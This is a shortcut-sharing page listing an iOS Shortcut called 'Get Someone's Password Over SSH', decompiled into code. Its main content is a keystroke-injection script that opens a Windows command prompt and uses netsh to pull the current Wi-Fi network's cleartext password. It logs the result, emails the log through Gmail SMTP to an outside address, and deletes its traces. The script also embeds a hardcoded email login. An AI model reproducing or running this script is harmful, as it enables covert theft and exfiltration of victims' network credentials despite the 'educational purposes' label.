ShareShortcuts

Get Someone’s Password Over SSH

FOR EDUCATIONAL PURPOSES ONLY

qwertyuio
Fork “Get Someone’s Password Over SSH”

Built something new on top of this Shortcut? Share it as a fork: it becomes a Shortcut of your own, which you manage, and both pages link to each other so qwertyuio gets credit.

  1. 1Get the Shortcut and change it in the Shortcuts app. Give it a name of its own.
  2. 2Share it from the Shortcuts app and copy the iCloud link.
  3. 3Come back here, paste the link and describe what is different, e.g. “Added a step that uses Apple Intelligence to personalise the text.”
Downloads
44K
Saved
1
Actions
2
Category
Utilities
Version
1.0
Language
EN

FOR EDUCATIONAL PURPOSES ONLY

What's New

Version 1.0

First release

Version History
1.0 Jan 24, 2022

First release

What it does

2 actions
  1. Show Alert
  2. Run Script Over SSH

View as code
Beta

Every action of this Shortcut written out as Cherri, a programming language for Shortcuts. Great for learning how it works.

#include 'actions/network'
#define color red

confirm("Do you want to continue? You might want to reconsider! (Not responsible for any damage that occurs to your or others property, you herby agree that you are responsible for all damages by using this shortcut). Copyright qwertyuiop 2022\n")
runSSHScript("DEFAULT_DELAY 10 \nREM delays 100ms between each subsequent command sequence\n\nDELAY 2000\nWINDOWS d\nREM --> Open cmd\nWINDOWS r\nDELAY 500\nSTRING cmd\nENTER\nDELAY 1000\nREM --> Change directory (you can change this to something else to make less visible)\nSTRING cd \"%USERPROFILE%\Desktop\"\nENTER\nREM --> Get SSID\nSTRING for /f \"tokens=2 delims=: \" %A in ('netsh wlan show interface ^| findstr \"SSID\" ^| findstr /v \"B\"') do set SSID=%A\nENTER\nREM --> Get network type\nSTRING netsh wlan show profiles %SSID% | findstr \"Network type\" | findstr /v \"broadcast\" | findstr /v \"Radio\">Temp.txt\nENTER\nSTRING for /f \"tokens=3 delims=: \" %A in ('findstr \"Network type\" Temp.txt') do set NETTYPE=%A\nENTER\nREM --> Get authentication\nSTRING netsh wlan show profiles %SSID% | findstr \"Authentication\">Temp.txt\nENTER\nSTRING for /f \"tokens=2 delims=: \" %A in ('findstr \"Authentication\" Temp.txt') do set AUTH=%A\nENTER\nREM --> Get key\nSTRING netsh wlan show profiles %SSID% key=clear | findstr \"Key Content\">Temp.txt\nENTER\nSTRING for /f \"tokens=3 delims=: \" %A in ('findstr \"Key Content\" Temp.txt') do set KEY=%A\nENTER\nREM --> Delete Temp.txt\nSTRING del Temp.txt\nENTER\nREM --> Create Log.txt\nSTRING echo SSID: %SSID%>>Log.txt & echo Network type: %NETTYPE%>>Log.txt & echo Authentication: %AUTH%>>Log.txt & echo Password: %KEY%>>Log.txt\nENTER\nREM --> Mail Log.txt\nSTRING powershell\nENTER\nSTRING $SMTPServer = 'smtp.gmail.com'\nENTER\nSTRING $SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 587)\nENTER\nSTRING $SMTPInfo.EnableSsl = $true\nENTER\nSTRING $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('[email protected]', 'hudson17');\nENTER\nSTRING $ReportEmail = New-Object System.Net.Mail.MailMessage\nENTER\nSTRING $ReportEmail.From = '[email protected]'\nENTER\nSTRING $ReportEmail.To.Add('[email protected]')\nENTER\nSTRING $ReportEmail.Subject = 'WiFi'\nENTER\nSTRING $ReportEmail.Body = 'The log is attached!' \nENTER\nSTRING $ReportEmail.Attachments.Add('Log.txt')\nENTER\nSTRING $SMTPInfo.Send($ReportEmail)\nENTER\nSTRING exit\nENTER\nREM --> Delete Log.txt and exit\nSTRING del Log.txt & exit\nENTER", nil, Ask, "", Ask, "", Ask)
Open in Cherri Playground Decompiled with cherri 2.3.0 (GPL-2.0). May need small fixes before it compiles.

Ratings & Reviews

Write a Review
–
out of 5
★★★★★
★★★★
★★★
★★
★
0 ratings

No reviews yet. Be the first to share what you think!

Advertisement

More by qwertyuio

See All

You Might Also Like

See All
Advertisement